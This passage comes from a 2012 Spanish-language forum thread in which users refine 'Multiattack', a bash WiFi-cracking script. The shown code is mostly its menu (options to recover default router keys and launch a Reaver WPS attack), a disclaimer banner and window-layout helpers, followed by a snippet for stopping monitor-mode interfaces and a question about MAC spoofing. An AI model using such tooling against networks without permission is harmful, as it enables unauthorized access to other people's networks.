  echo "        ###   4) Obtener KEY's por defecto                               ###"
  echo "        ###   5) Obtener KEY's con ESSID cambiado                        ###"
# echo "        ###   6) Ejecutar Airoscript Nuevo WifiWay                       ###"
# echo "        ###   7) Ejecutar airmon (poner-cambiar tarjeta en modo monitor) ###"
  echo "        ###   6) Lanzar ataque con REAVER :)                             ###"
  echo "        ###                                                              ###"
  echo "        ###   9) Manual de uso                                           ###"
  echo "        ###                                                              ###"
  echo "        ###   0) Salir                                                   ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ###   NOTA: Si Quieres intentar el ataque a AP's cuyo ESSID      ###"
  echo "        ###         por defecto pueda haber sido cambiado, pero          ###"
  echo " ###         posiblemente mantengan la KEY por defecto,           ###"
  echo " ###         escoge la opcion 5), pero ten en cuenta que          ###"
  echo " ###         los ataques pueden demorarse una media de 15         ###"
  echo " ###         minutos por AP con ESSID cambiado.                   ###"
  echo " ###                                                              ###"
  echo " ####################################################################"
  read yn
  case $yn in
    0 ) DESMONTAR_tarj_y_salir ; break ;;
    1 ) auto="on"; auto_select_monitor ; break ;;
    2 ) only="on"; auto_select_monitor ; break ;;
    3 ) choose="on"; auto_select_monitor ; choosescan ; break ;;
    4 ) ESSID_cambiado="off" ;obtenerWPSon="on"; autocrack; break ;;
    5 ) ESSID_cambiado="on" ; autocrack; break ;;
#    6 )  konsole -T "Airoscript Nuevo WifiWay" -e airoscript.cw; menu; break ;;
#    7 ) monitor_mode ; break ;;
    9 ) manual ; break ;;
    6 ) areaver="on"; obtenerWPSon=""; if [ "$WIFI" = "" ]; then clear; echo ""; echo " Antes debes tener activada una tarjeta en MODO MONITOR"; echo " Selecciona una en el siguiente paso..."; sleep 3; fi; auto_select_monitor ; break ;;
    * ) ;;
  esac
done
clear
}
# bienvenida
clear
echo "                         Multiattack "$version
echo ""
echo "      -Multiattack es una herramienta educativa "
echo "       para el conocimiento del funcionamiento de la seguridad WIFI"
echo "      -Rutas de capturas en $DUMP_PATH"
echo " "
echo "                    Visita: www.seguridadwireless.net"
echo "                            www.elhacker.net"
echo ""
# acuerdate siempre de esto, eres un vulgar copion que siempre seras un segundon
#                                (esto me gustó {m.k.})
echo "       Para mayor seguridad de su red se recomienda que cambie la clave "
echo "       por defecto y se utilice cifrado WPA con una clave robusta"
echo ""
echo "                               -------------"
echo ""
echo "       No me hago responsable del mal uso que se pueda hacer de este Script"
echo ""
echo "                               -------------"
echo ""
echo "                Este mensaje desaparecera en pocos segundos"
sleep 1
echo "                        Saludos desde wifislax.org"
sleep 2


function setresolution {
echo ""
#echo -n Autodetectando Resolución...
detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
#echo $detectedresolution
##  A) 1024x768
##  B) 1280x768
##  C) 1280x1024
##  D) 1600x1200
case $detectedresolution in
   "1024x768" ) resA ;;
   "1280x768" ) resB ;;
   "1366x768" ) resB ;;
  "1280x1024" ) resC ;;
  "1600x1200" ) resD ;;
            * ) resA ;; ## fallback a una opción segura
esac
}
function resA {
# Upper left window +0+0 (size*size+position+position)
TOPLEFT="-geometry 92x14+0+0"
# Upper right window -0+0
TOPRIGHT="-geometry 68x25-0+0"
# Bottom left window +0-0
BOTTOMLEFT="-geometry 92x36+0-0"
# Bottom right window -0-0
BOTTOMRIGHT="-geometry 74x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 74x30-0+0"
}
function resB {
# Upper left window +0+0 (size*size+position+position)
TOPLEFT="-geometry 100x20+0+0"
# Upper right window -0+0
TOPRIGHT="-geometry 109x20-0+0"
# Bottom left window +0-0
BOTTOMLEFT="-geometry 100x30+0-0"
# Bottom right window -0-0
BOTTOMRIGHT="-geometry 109x20-0-0"
TOPLEFTBIG="-geometry  100x52+0+0"
TOPRIGHTBIG="-geometry 109x30-0+0"
}
function resC {
# Upper left window +0+0 (size*size+position+position)
TOPLEFT="-geometry 110x35+0+0"
# Upper right window -0+0
TOPRIGHT="-geometry 99x40-0+0"
# Bottom left window +0-0
BOTTOMLEFT="-geometry 110x35+0-0"
# Bottom right window -0-0
BOTTOMRIGHT="-geometry 99x30-0-0"
TOPLEFTBIG="-geometry 110x72+0+0"
TOPRIGHTBIG="-geometry 99x40-0+0"
}
function resD {
# Upper left window +0+0 (size*size+position+position)
TOPLEFT="-geometry 130x43+0+0"
# Upper right window -0+0
TOPRIGHT="-geometry 68x25-0+0"
# Bottom left window +0-0
BOTTOMLEFT="-geometry 130x40+0-0"
BOTTOMRIGHT="-geometry 132x35-0-0"
TOPLEFTBIG="-geometry 130x85+0+0"
TOPRIGHTBIG="-geometry 132x48-0+0"
}

setresolution

menu

#end
« Última modificación: 16-12-2012, 23:35 (Domingo) por USUARIONUEVO »

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #15 en: 16-12-2012, 23:36 (Domingo) »
habia puesto mal el code, arreglado.

Desconectado geminis_demon

  • Colaborador
  • *
  • Mensajes: 2382
  • Prácticas precisas precisan práctica
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #16 en: 17-12-2012, 10:27 (Lunes) »
para eliminar las interfaces en modo monitor si las hay

Código: [Seleccionar]
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
  for monx in $interfaces; do
    airmon-ng stop $monx >/dev/null 2>&1
  done
fi

La luz cree que viaja más rápido que cualquier otra cosa, pero se equivoca; da lo mismo lo rápido que pueda viajar, porque al final, la luz descubre que la oscuridad ha llegado antes que ella, y la está esperando.

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 14677
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #17 en: 17-12-2012, 12:49 (Lunes) »
para eliminar las interfaces en modo monitor si las hay

Código: [Seleccionar]
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
  for monx in $interfaces; do
    airmon-ng stop $monx >/dev/null 2>&1
  done
fi


vaya , mucho mas apañao ,que mi chapuza , ...lo pondremos en los scripts ultimos.  >:(

inguaite

  • Visitante
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #18 en: 17-12-2012, 20:10 (Lunes) »
Me perdí con los botes de pintura...  ;D

Si uno tiene la MAC cambiada, si hace down y up, hay que cambiarla nuevamente no?...

Sl2

warcry

  • Visitante
Re: nuevas modificaciones para multiattack , ..propuestas
« Respuesta #19 en: 17-12-2012, 22:01 (Lunes) »
Me perdí con los botes de pintura...  ;D

Si uno tiene la MAC cambiada, si hace down y up, hay que cambiarla nuevamente no?...

Sl2

yo creo que no, pero es tan sencillo como hacer la prueba  ;)

//FINAL Y MÁS DOS RESPUESTAS